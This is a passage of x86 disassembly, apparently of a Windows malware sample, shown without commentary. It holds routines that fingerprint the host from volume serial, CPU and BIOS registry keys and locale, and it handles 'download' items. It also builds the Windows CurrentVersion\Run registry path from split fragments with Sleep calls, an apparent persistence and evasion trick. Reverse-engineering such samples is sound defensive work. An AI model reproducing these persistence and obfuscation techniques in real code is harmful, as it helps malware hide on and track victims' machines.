retn 8
sub_40439E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043E6 proc near ; CODE XREF: sub_403488+57p
; sub_403488+454p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+34h]
test eax, eax
jge short loc_40440B
push offset dword_417238
push esi
push eax
call sub_411830
loc_40440B: ; CODE XREF: sub_4043E6+17j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
pop esi
mov [eax], ecx
leave
retn 4
sub_4043E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404418 proc near ; CODE XREF: sub_403488+BBFp
; sub_403488+C43p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+40h]
test eax, eax
jge short loc_40443D
push offset dword_417238
push esi
push eax
call sub_411830
loc_40443D: ; CODE XREF: sub_404418+17j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
pop esi
mov [eax], ecx
leave
retn 4
sub_404418 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40444A proc near ; CODE XREF: sub_403488+104p
; sub_403488+225p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+68h]
test eax, eax
jge short loc_40446F
push offset dword_417238
push esi
push eax
call sub_411830
loc_40446F: ; CODE XREF: sub_40444A+17j
mov ecx, [ebp+arg_0]
push 0
push [ebp+var_4]
call sub_404347
mov eax, [ebp+arg_0]
pop esi
leave
retn 4
sub_40444A endp
; =============== S U B R O U T I N E =======================================
sub_404484 proc near ; CODE XREF: sub_40831F+87Dp
mov eax, offset loc_411DF0
call sub_41163A ; _EH_prolog
sub esp, 1Ch
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp-4], ebx
mov [ebp-18h], ebx
mov [ebp-10h], ebx
mov esi, [ebp+8]
mov byte ptr [ebp-4], 1
cmp esi, ebx
mov edi, 80004003h
jnz short loc_4044B5
push edi
call sub_411822
loc_4044B5: ; CODE XREF: sub_404484+29j
lea eax, [ebp-14h]
mov ecx, esi
push eax
call sub_4043E6
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4062A0
lea ecx, [ebp-14h]
call sub_406293
loc_4044D2: ; CODE XREF: sub_404484+149j
push ebx
lea ecx, [ebp-10h]
call sub_4062CB
test al, al
jnz loc_4045D2
push offset aDownload ; "download"
lea ecx, [ebp-20h]
call sub_404151
mov esi, eax
cmp [ebp-10h], ebx
mov byte ptr [ebp-4], 2
jnz short loc_404501
push edi
call sub_411822
loc_404501: ; CODE XREF: sub_404484+75j
mov ecx, [ebp-10h]
lea eax, [ebp-1Ch]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-1Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 1
call sub_4041A5
test bl, bl
jz short loc_40459E
xor esi, esi
cmp [ebp-10h], esi
jnz short loc_404542
push edi
call sub_411822
loc_404542: ; CODE XREF: sub_404484+B6j
mov ecx, [ebp-10h]
lea eax, [ebp-14h]
push eax
call sub_4043E6
mov byte ptr [ebp-4], 3
loc_404552: ; CODE XREF: sub_404484+107j
push esi
lea ecx, [ebp-14h]
call sub_4062CB
test al, al
jnz short loc_40458D
inc dword ptr [ebp-18h]
cmp [ebp-14h], esi
jnz short loc_40456D
push edi
call sub_411822
loc_40456D: ; CODE XREF: sub_404484+E1j
mov ecx, [ebp-14h]
lea eax, [ebp-24h]
push eax
call sub_404418
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4062A0
lea ecx, [ebp-24h]
call sub_406293
jmp short loc_404552
; ---------------------------------------------------------------------------
loc_40458D: ; CODE XREF: sub_404484+D9j
mov eax, [ebp-14h]
mov byte ptr [ebp-4], 1
cmp eax, esi
jz short loc_40459E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40459E: ; CODE XREF: sub_404484+AFj
; sub_404484+112j
cmp dword ptr [ebp-10h], 0
jnz short loc_4045AA
push edi
call sub_411822
loc_4045AA: ; CODE XREF: sub_404484+11Ej
mov ecx, [ebp-10h]
lea eax, [ebp-28h]
push eax
call sub_404418
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4062A0
lea ecx, [ebp-28h]
call sub_406293
mov esi, [ebp+8]
xor ebx, ebx
jmp loc_4044D2
; ---------------------------------------------------------------------------
loc_4045D2: ; CODE XREF: sub_404484+59j
mov eax, [ebp-10h]
and byte ptr [ebp-4], 0
cmp eax, ebx
jz short loc_4045E3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4045E3: ; CODE XREF: sub_404484+157j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_4045F1
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_4045F1: ; CODE XREF: sub_404484+165j
mov ecx, [ebp-0Ch]
mov eax, [ebp-18h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_404484 endp
; =============== S U B R O U T I N E =======================================
sub_404605 proc near ; CODE XREF: sub_40831F+970p
mov eax, offset loc_411E6F
call sub_41163A ; _EH_prolog
mov eax, 208Ch
call sub_4115D0
push ebx
mov ebx, ecx
mov ecx, [ebp+0Ch]
push esi
test ecx, ecx
push edi
jle loc_404A1A
mov eax, [ebp+8]
mov dword ptr [ebp-1Ch], 0FFFFE000h
sub [ebp-1Ch], eax
mov [ebp-28h], ecx
lea esi, [eax+2000h]
loc_40463F: ; CODE XREF: sub_404605+40Fj
cmp byte ptr [esi+12000h], 0
jz loc_404733
push esi
call sub_41162E ; strlen
test eax, eax
pop ecx
jbe loc_404733
cmp byte ptr [esi], 23h
jnz loc_404733
lea eax, [ebp-2098h]
push esi
push eax
call sub_411628 ; strcpy
mov edi, offset dword_417260
lea eax, [ebp-2098h]
push edi
push eax
call dword_4131CC ; strstr
add esp, 10h
test eax, eax
jz short loc_4046C1
lea ecx, [ebp-2098h]
sub eax, ecx
inc eax
cmp eax, 1
mov [ebp+0Ch], eax
jle short loc_4046C1
push eax
lea eax, [ebp-2098h]
push eax
push esi
call dword_41319C ; strncpy
mov eax, [ebp-1Ch]
mov ecx, [ebp+8]
add eax, esi
add esp, 0Ch
add eax, [ebp+0Ch]
and byte ptr [eax+ecx+2000h], 0
loc_4046C1: ; CODE XREF: sub_404605+84j
; sub_404605+95j
push edi
push esi
call sub_411640 ; strcat
push dword ptr [ebx+20h]
push esi
call sub_411640 ; strcat
add esp, 10h
lea ecx, [ebp-14h]
call sub_41151E
and dword ptr [ebp-4], 0
push esi
lea ecx, [ebp-14h]
call sub_41150C
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp+0Ch], esp
push eax
call sub_411506
lea eax, [ebp-38h]
mov ecx, ebx
push eax
call sub_402FAF
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
call sub_411518
and byte ptr [ebp-4], 0
lea ecx, [ebp-38h]
call sub_411512
push dword ptr [ebp-14h]
push esi
call sub_411628 ; strcpy
or dword ptr [ebp-4], 0FFFFFFFFh
pop ecx
pop ecx
lea ecx, [ebp-14h]
call sub_411512
loc_404733: ; CODE XREF: sub_404605+41j
; sub_404605+50j ...
lea ecx, [ebp-10h]
call sub_41151E
lea ecx, [ebp-24h]
mov dword ptr [ebp-4], 2
call sub_41151E
cmp byte ptr [esi+12000h], 0
mov byte ptr [ebp-4], 3
jz loc_404825
lea edi, [ebx+20h]
lea ecx, [ebp-24h]
push edi
call sub_411518
push offset dword_417258
lea eax, [ebp-2Ch]
push edi
push eax
call sub_41152A
push eax
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 4
call sub_411518
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_411512
push dword ptr [ebp-10h]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_4047A8
push 1
push dword ptr [ebp-10h]
call sub_401C92
pop ecx
pop ecx
loc_4047A8: ; CODE XREF: sub_404605+195j
push dword ptr [edi]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_4047C4
mov edi, [edi]
push 1
push dword ptr [ebp-10h]
push edi
call sub_401D8A
add esp, 0Ch
loc_4047C4: ; CODE XREF: sub_404605+1ADj
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 5
mov ecx, esp
mov [ebp-20h], esp
push offset dword_41724C
call sub_4114FA
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 3
call sub_40671B
push ecx
lea eax, [esi+0E000h]
mov ecx, esp
mov [ebp+0Ch], esp
push eax
mov byte ptr [ebp-4], 6
call sub_4114FA
lea ecx, [ebp-58h]
call sub_406BA8
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 3
call sub_4068AF
loc_404825: ; CODE XREF: sub_404605+150j
push 28h
call dword_4130E0 ; Sleep
mov al, [esi+12000h]
mov ecx, ebx
push eax
mov al, [esi+12004h]
push dword ptr [esi+12008h]
push eax
mov al, [esi+12001h]
push eax
mov al, [esi+12002h]
push eax
lea eax, [esi+2000h]
push eax
lea eax, [esi+4000h]
push eax
lea eax, [esi-2000h]
push esi
push eax
call sub_402EC9
lea ecx, [ebp-18h]
mov [ebp+0Fh], al
call sub_41151E
lea eax, [esi+10000h]
lea ecx, [ebp-18h]
push eax
mov byte ptr [ebp-4], 7
call sub_41150C
lea eax, [ebp-18h]
push offset dword_417248
push eax
lea eax, [ebp-30h]
push eax
call sub_41152A
lea edi, [esi+0E000h]
mov byte ptr [ebp-4], 8
push edi
push eax
lea eax, [ebp-34h]
push eax
call sub_41152A
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 9
call sub_411518
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 8
call sub_411512
lea ecx, [ebp-30h]
mov byte ptr [ebp-4], 7
call sub_411512
push ecx
lea eax, [ebp-18h]
mov ecx, esp
mov [ebp-20h], esp
push eax
call sub_411506
mov ecx, ebx
call sub_4057AB
mov al, [esi+12000h]
test al, al
jz loc_4049E7
cmp byte ptr [ebp+0Fh], 0
jz short loc_404965
push 80000000h
push 1
push ecx
mov byte ptr [ebx+18h], 1
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 0Ah
mov ecx, esp
mov [ebp-20h], esp
push offset dword_41724C
call sub_4114FA
lea ecx, [ebp-98h]
mov byte ptr [ebp-4], 7
call sub_40671B
push ecx
mov byte ptr [ebp-4], 0Bh
mov ecx, esp
mov [ebp+0Ch], esp
push edi
call sub_4114FA
lea ecx, [ebp-98h]
call sub_406BA8
mov byte ptr [ebp-4], 7
lea ecx, [ebp-98h]
jmp short loc_4049E2
; ---------------------------------------------------------------------------
loc_404965: ; CODE XREF: sub_404605+2F9j
test al, al
jz short loc_4049E7
cmp byte ptr [ebp+0Fh], 0
jnz short loc_4049E7
push dword ptr [ebp-10h]
call sub_4021DB
test eax, eax
pop ecx
jz short loc_40498C
push 1
push dword ptr [ebp-24h]
push dword ptr [ebp-10h]
call sub_401D8A
add esp, 0Ch
loc_40498C: ; CODE XREF: sub_404605+375j
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 0Ch
mov ecx, esp
mov [ebp-20h], esp
push offset dword_41724C
call sub_4114FA
lea ecx, [ebp-78h]
mov byte ptr [ebp-4], 7
call sub_40671B
push ecx
mov byte ptr [ebp-4], 0Dh
mov ecx, esp
mov [ebp+0Ch], esp
push ebx
call sub_411506
lea ecx, [ebp-78h]
call sub_406BA8
mov byte ptr [ebp-4], 7
lea ecx, [ebp-78h]
loc_4049E2: ; CODE XREF: sub_404605+35Ej
call sub_4068AF
loc_4049E7: ; CODE XREF: sub_404605+2EFj
; sub_404605+362j ...
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 3
call sub_411512
lea ecx, [ebp-24h]
mov byte ptr [ebp-4], 2
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-10h]
call sub_411512
add esi, 1400Ch
dec dword ptr [ebp-28h]
jnz loc_40463F
loc_404A1A: ; CODE XREF: sub_404605+1Ej
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_404605 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404A2D proc near ; CODE XREF: sub_402C48+123p
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_402199
pop ecx
push [ebp+arg_4]
call dword_413048 ; SetCurrentDirectoryA
xor esi, esi
push 2
push esi
push [ebp+arg_0]
call sub_410FDB
mov edi, eax
lea eax, [ebp+var_12C]
push eax
push 0FFFFFFFFh
push edi
call sub_4110A8
mov ebx, [ebp+var_12C]
add esp, 18h
test ebx, ebx
jle short loc_404A9E
loc_404A76: ; CODE XREF: sub_404A2D+6Fj
lea eax, [ebp+var_12C]
push eax
push esi
push edi
call sub_4110A8
push 2
lea eax, [ebp+var_128]
push 0
push eax
push esi
push edi
call sub_411390
add esp, 20h
inc esi
cmp esi, ebx
jl short loc_404A76
loc_404A9E: ; CODE XREF: sub_404A2D+47j
push edi
call sub_4113FB
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
retn 8
sub_404A2D endp
; =============== S U B R O U T I N E =======================================
sub_404AAE proc near ; CODE XREF: sub_402C48+DAp
mov eax, offset loc_411E8E
call sub_41163A ; _EH_prolog
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push 8
mov [ebp-4], ebx
call sub_4114F4
pop ecx
mov ecx, eax
mov [ebp-14h], ecx
cmp ecx, ebx
mov byte ptr [ebp-4], 1
jz short loc_404ADF
call sub_401000
mov esi, eax
jmp short loc_404AE1
; ---------------------------------------------------------------------------
loc_404ADF: ; CODE XREF: sub_404AAE+26j
xor esi, esi
loc_404AE1: ; CODE XREF: sub_404AAE+2Fj
mov ecx, esi
mov [ebp-4], bl
call sub_40103D
lea eax, [ebp-10h]
mov ecx, esi
push eax
push dword ptr [ebp+8]
call sub_40146A
mov ecx, esi
call sub_4010DD
cmp esi, ebx
jz short loc_404B0C
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax]
loc_404B0C: ; CODE XREF: sub_404AAE+54j
mov eax, [ebp+0Ch]
cmp eax, [ebp-10h]
jnz short loc_404B16
mov bl, 1
loc_404B16: ; CODE XREF: sub_404AAE+64j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov ecx, [ebp-0Ch]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 8
sub_404AAE endp
; =============== S U B R O U T I N E =======================================
sub_404B34 proc near ; CODE XREF: sub_402C48+88p
; sub_402C48+1D2p ...
arg_0 = byte ptr 4
lea ecx, [esp+arg_0]
call sub_411512
retn 4
sub_404B34 endp
; =============== S U B R O U T I N E =======================================
sub_404B40 proc near ; CODE XREF: sub_402A1E+DDp
mov eax, offset loc_411EE9
call sub_41163A ; _EH_prolog
sub esp, 324h
push ebx
push esi
mov [ebp-34h], ecx
xor esi, esi
push edi
lea ecx, [ebp-24h]
mov [ebp-38h], esi
call sub_41151E
lea ecx, [ebp-28h]
mov [ebp-4], esi
call sub_41151E
mov dx, ds:word_419C44
xor eax, eax
lea edi, [ebp-52h]
mov [ebp-54h], dx
stosd
stosd
stosd
stosd
stosw
xor eax, eax
lea edi, [ebp-62h]
mov [ebp-64h], dx
push 40h
stosd
stosd
pop ecx
xor eax, eax
lea edi, [ebp-32Eh]
mov [ebp-330h], dx
rep stosd
stosw
xor eax, eax
lea edi, [ebp-3Ah]
mov [ebp-3Ch], dx
push 40h
stosw
pop ecx
lea edi, [ebp-1C6h]
mov [ebp-1C8h], dx
mov [ebp-18h], dx
rep stosd
stosw
xor eax, eax
lea edi, [ebp-16h]
stosb
lea edi, [ebp-0Eh]
mov [ebp-10h], dx
stosb
lea edi, [ebp-12h]
mov [ebp-14h], dx
stosb
lea eax, [ebp-30h]
push offset a04x ; "%04X"
push eax
mov byte ptr [ebp-4], 1
mov [ebp-40h], esi
mov byte ptr [ebp-19h], 1
call dword_4130CC ; lstrcpyA
cmp byte ptr [ebp+0Ch], 0
mov ebx, dword_413074
jz short loc_404C12
lea eax, [ebp-1C8h]
push offset asc_417350 ; "{"
push eax
call ebx ; lstrcatA
loc_404C12: ; CODE XREF: sub_404B40+C2j
lea eax, [ebp-330h]
push 104h
push eax
call dword_4130D4 ; GetWindowsDirectoryA
xor eax, eax
lea ecx, [ebp-38h]
push eax
push eax
push eax
lea esi, [ebp-330h]
lea edi, [ebp-3Ch]
push eax
push ecx
push eax
movsw
push eax
lea eax, [ebp-3Ch]
push eax
movsb
call dword_4130B4 ; GetVolumeInformationA
mov ecx, [ebp-34h]
lea eax, [ebp-54h]
push 10h
push eax
push dword ptr [ebp-38h]
call sub_40509A
mov edi, dword_4130CC
lea eax, [ebp-30h]
push offset a08x ; "%08X"
push eax
call edi ; lstrcpyA
push dword ptr [ebp-38h]
mov esi, dword_41329C
lea eax, [ebp-30h]
push eax
lea eax, [ebp-54h]
push eax
call esi ; wsprintfA
add esp, 0Ch
lea eax, [ebp-54h]
push eax
call dword_413298 ; CharUpperA
lea eax, [ebp-54h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
push 80000002h
push 1
push 0
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
call sub_4114FA
lea ecx, [ebp-0A4h]
call sub_406374
lea ecx, [ebp-0A4h]
mov byte ptr [ebp-4], 2
call sub_406606
mov [ebp-20h], eax
lea eax, [ebp-30h]
push offset a04x ; "%04X"
push eax
call edi ; lstrcpyA
push dword ptr [ebp-20h]
lea eax, [ebp-30h]
push eax
lea eax, [ebp-54h]
push eax
call esi ; wsprintfA
add esp, 0Ch
mov edi, offset asc_417310 ; "-"
lea eax, [ebp-1C8h]
push edi
push eax
call ebx ; lstrcatA
push 1Eh
call dword_4130E0 ; Sleep
lea eax, [ebp-54h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
call dword_4130B8 ; GetSystemDefaultLCID
push eax
lea eax, [ebp-30h]
push eax
lea eax, [ebp-54h]
push eax
call esi ; wsprintfA
add esp, 0Ch
lea eax, [ebp-1C8h]
push edi
push eax
call ebx ; lstrcatA
lea eax, [ebp-54h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 3
mov ecx, esp
mov [ebp-58h], esp
push offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\SystemBiosD"...
call sub_4114FA
lea ecx, [ebp-84h]
mov byte ptr [ebp-4], 2
call sub_40671B
lea eax, [ebp-20h]
lea ecx, [ebp-84h]
push eax
mov byte ptr [ebp-4], 4
call sub_406B4C
lea eax, [ebp-20h]
lea ecx, [ebp-28h]
push eax
mov byte ptr [ebp-4], 5
call sub_411518
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 4
call sub_411512
mov eax, [ebp-28h]
mov eax, [eax-8]
test eax, eax
jle loc_404E34
push eax
lea ecx, [ebp-28h]
call sub_411542
mov cl, [eax]
mov [ebp-40h], eax
mov [ebp-18h], cl
mov cl, [eax+1]
and byte ptr [ebp-16h], 0
mov [ebp-17h], cl
mov cl, [eax+3]
push edi
mov [ebp-10h], cl
mov cl, [eax+4]
and byte ptr [ebp-0Eh], 0
mov [ebp-0Fh], cl
mov cl, [eax+6]
mov [ebp-14h], cl
mov al, [eax+7]
and byte ptr [ebp-12h], 0
mov [ebp-13h], al
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
lea eax, [ebp-18h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
lea eax, [ebp-1C8h]
push edi
push eax
call ebx ; lstrcatA
lea eax, [ebp-14h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
push 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_41153C
mov edi, dword_4130CC
jmp short loc_404E51
; ---------------------------------------------------------------------------
loc_404E34: ; CODE XREF: sub_404B40+266j
mov edi, dword_4130CC
push offset word_419C44
push 0
call edi ; lstrcpyA
lea eax, [ebp-1C8h]
push offset a000000 ; "-0000-00"
push eax
call ebx ; lstrcatA
loc_404E51: ; CODE XREF: sub_404B40+2F2j
lea eax, [ebp-22Ch]
push offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
push eax
call edi ; lstrcpyA
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-58h], esp
push offset byte_419C40
call sub_4114FA
lea eax, [ebp-22Ch]
mov byte ptr [ebp-4], 6
push eax
call dword_4130BC ; lstrlenA
push ecx
mov ecx, esp
mov [ebp-20h], esp
push eax
lea eax, [ebp-22Ch]
push eax
push ecx
mov ecx, [ebp-34h]
call sub_4030F7
lea ecx, [ebp-0C4h]
mov byte ptr [ebp-4], 4
call sub_40671B
lea eax, [ebp-20h]
lea ecx, [ebp-0C4h]
push eax
mov byte ptr [ebp-4], 7
call sub_406B4C
lea eax, [ebp-20h]
lea ecx, [ebp-24h]
push eax
mov byte ptr [ebp-4], 8
call sub_411518
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 7
call sub_411512
mov eax, [ebp-24h]
mov eax, [eax-8]
test eax, eax
jle short loc_404F51
push eax
lea ecx, [ebp-24h]
call sub_411542
mov cl, [eax]
mov [ebp-18h], cl
mov cl, [eax+1]
and byte ptr [ebp-16h], 0
mov [ebp-17h], cl
mov cl, [eax+3]
mov [ebp-10h], cl
mov cl, [eax+4]
and byte ptr [ebp-0Eh], 0
mov [ebp-0Fh], cl
mov cl, [eax+6]
mov [ebp-14h], cl
mov al, [eax+7]
and byte ptr [ebp-12h], 0
mov [ebp-13h], al
lea eax, [ebp-18h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
lea eax, [ebp-14h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
push 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_41153C
jmp short loc_404F69
; ---------------------------------------------------------------------------
loc_404F51: ; CODE XREF: sub_404B40+3A4j
push offset word_419C44
push dword ptr [ebp-40h]
call edi ; lstrcpyA
lea eax, [ebp-1C8h]
push offset a000001 ; "000001"
push eax
call ebx ; lstrcatA
loc_404F69: ; CODE XREF: sub_404B40+40Fj
lea eax, [ebp-64h]
push 104h
push eax
push 5
push 400h
call dword_4130C0 ; GetLocaleInfoA
push 21h
call dword_4130E0 ; Sleep
mov ecx, [ebp-34h]
lea eax, [ebp-64h]
push eax
call sub_405049
push eax
lea eax, [ebp-30h]
push eax
lea eax, [ebp-54h]
push eax
call esi ; wsprintfA
add esp, 0Ch
lea eax, [ebp-54h]
push eax
lea eax, [ebp-1C8h]
push eax
call ebx ; lstrcatA
cmp byte ptr [ebp+0Ch], 0
jz short loc_404FC2
lea eax, [ebp-1C8h]
push offset asc_417278 ; "}"
push eax
call ebx ; lstrcatA
loc_404FC2: ; CODE XREF: sub_404B40+472j
lea eax, [ebp-1C8h]
push eax
push dword ptr [ebp+8]
call edi ; lstrcpyA
push dword ptr [ebp+8]
call dword_4130BC ; lstrlenA
movzx ecx, byte ptr [ebp+0Ch]
shl ecx, 1
sub eax, ecx
cmp eax, 24h
jz short loc_404FE8
and byte ptr [ebp-19h], 0
loc_404FE8: ; CODE XREF: sub_404B40+4A2j
push 20h
call dword_4130E0 ; Sleep
lea ecx, [ebp-0C4h]
mov byte ptr [ebp-4], 4
call sub_4068AF
lea ecx, [ebp-84h]
mov byte ptr [ebp-4], 2
call sub_4068AF
lea ecx, [ebp-0A4h]
mov byte ptr [ebp-4], 1
call sub_4064C6
and byte ptr [ebp-4], 0
lea ecx, [ebp-28h]
call sub_411512
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-24h]
call sub_411512
mov ecx, [ebp-0Ch]
mov al, [ebp-19h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_404B40 endp
; =============== S U B R O U T I N E =======================================
sub_405049 proc near ; CODE XREF: sub_404B40+44Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
xor dl, dl
loc_405052: ; CODE XREF: sub_405049+Fj
cmp byte ptr [eax], 20h
jnz short loc_40505A
inc eax
jmp short loc_405052
; ---------------------------------------------------------------------------
loc_40505A: ; CODE XREF: sub_405049+Cj
mov cl, [eax]
cmp cl, 2Bh
jz short loc_405068
cmp cl, 2Dh
jnz short loc_405069
mov dl, 1
loc_405068: ; CODE XREF: sub_405049+16j
; sub_405049+3Aj
inc eax
loc_405069: ; CODE XREF: sub_405049+1Bj
mov cl, [eax]
test cl, cl
jz short loc_405085
cmp cl, 30h
jl short loc_405085
cmp cl, 39h
jg short loc_405085
movsx ecx, cl
lea esi, [esi+esi*4]
lea esi, [ecx+esi*2-30h]
jmp short loc_405068
; ---------------------------------------------------------------------------
loc_405085: ; CODE XREF: sub_405049+24j
; sub_405049+29j ...
cmp dl, 1
jnz short loc_40508C
neg esi
loc_40508C: ; CODE XREF: sub_405049+3Fj
push 1Eh
call dword_4130E0 ; Sleep
mov eax, esi
pop esi
retn 4
sub_405049 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40509A proc near ; CODE XREF: sub_404B40+112p
var_84 = byte ptr -84h
var_83 = byte ptr -83h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 84h
push esi
push edi
push 1Fh
xor eax, eax
pop ecx
lea edi, [ebp+var_83]
rep stosd
stosw
mov edx, [ebp+arg_4]
xor esi, esi
and [ebp+var_4], esi
stosb
mov edi, [ebp+arg_0]
test edi, edi
jnz short loc_4050D4
mov ecx, [ebp+arg_8]
mov byte ptr [edx], 30h
dec ecx
mov [ebp+var_4], 1
jmp short loc_4050D7
; ---------------------------------------------------------------------------
loc_4050D4: ; CODE XREF: sub_40509A+28j
mov ecx, [ebp+arg_8]
loc_4050D7: ; CODE XREF: sub_40509A+38j
and [ebp+var_84], 0
push ebx
test edi, edi
jz short loc_405108
loc_4050E3: ; CODE XREF: sub_40509A+69j
push 0Ah
mov eax, edi
xor edx, edx
pop ebx
div ebx
push ebx
mov eax, edi
pop edi
add dl, 30h
mov [ebp+esi+var_84], dl
xor edx, edx
div edi
inc esi
mov edi, eax
test edi, edi
jnz short loc_4050E3
mov edx, [ebp+arg_4]
loc_405108: ; CODE XREF: sub_40509A+47j
cmp ecx, esi
jle short loc_40512D
sub ecx, esi
lea edi, [ebp+esi+var_84]
mov [ebp+arg_8], ecx
mov ebx, ecx
mov eax, 30303030h
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
add esi, ebx
rep stosb
loc_40512D: ; CODE XREF: sub_40509A+70j
mov eax, [ebp+var_4]
dec esi
pop ebx
js short loc_405144
loc_405134: ; CODE XREF: sub_40509A+A8j
mov cl, [ebp+esi+var_84]
dec esi
mov [eax+edx], cl
inc eax
test esi, esi
jge short loc_405134
loc_405144: ; CODE XREF: sub_40509A+98j
and byte ptr [eax+edx], 0
pop edi
mov eax, edx
pop esi
leave
retn 0Ch
sub_40509A endp
; =============== S U B R O U T I N E =======================================
sub_405150 proc near ; CODE XREF: sub_405E1F+198p
mov eax, offset loc_411F44
call sub_41163A ; _EH_prolog
sub esp, 38h
push esi
push edi
mov edi, ecx
lea ecx, [ebp-10h]
mov dword ptr [ebp-4], 1
call sub_41151E
push offset aSoftwareMicros ; "SOFTWARE\\Microso"
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 2
call sub_41150C
mov esi, dword_4130E0
push 1Eh
call esi ; Sleep
push offset aFtWindowsCurre ; "ft\\Windows\\Curren"
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aTversionR ; "tVersion\\R"
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aUnRu ; "un\\ru"
lea ecx, [ebp-10h]
call sub_411548
push 1Ch
call esi ; Sleep
push offset aNner1 ; "nner1"
lea ecx, [ebp-10h]
call sub_411548
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset aDefaultvalue ; "defaultvalue"
call sub_4114FA
push ecx
lea eax, [ebp-10h]
mov ecx, esp
mov [ebp-1Ch], esp
push eax
mov byte ptr [ebp-4], 3
call sub_411506
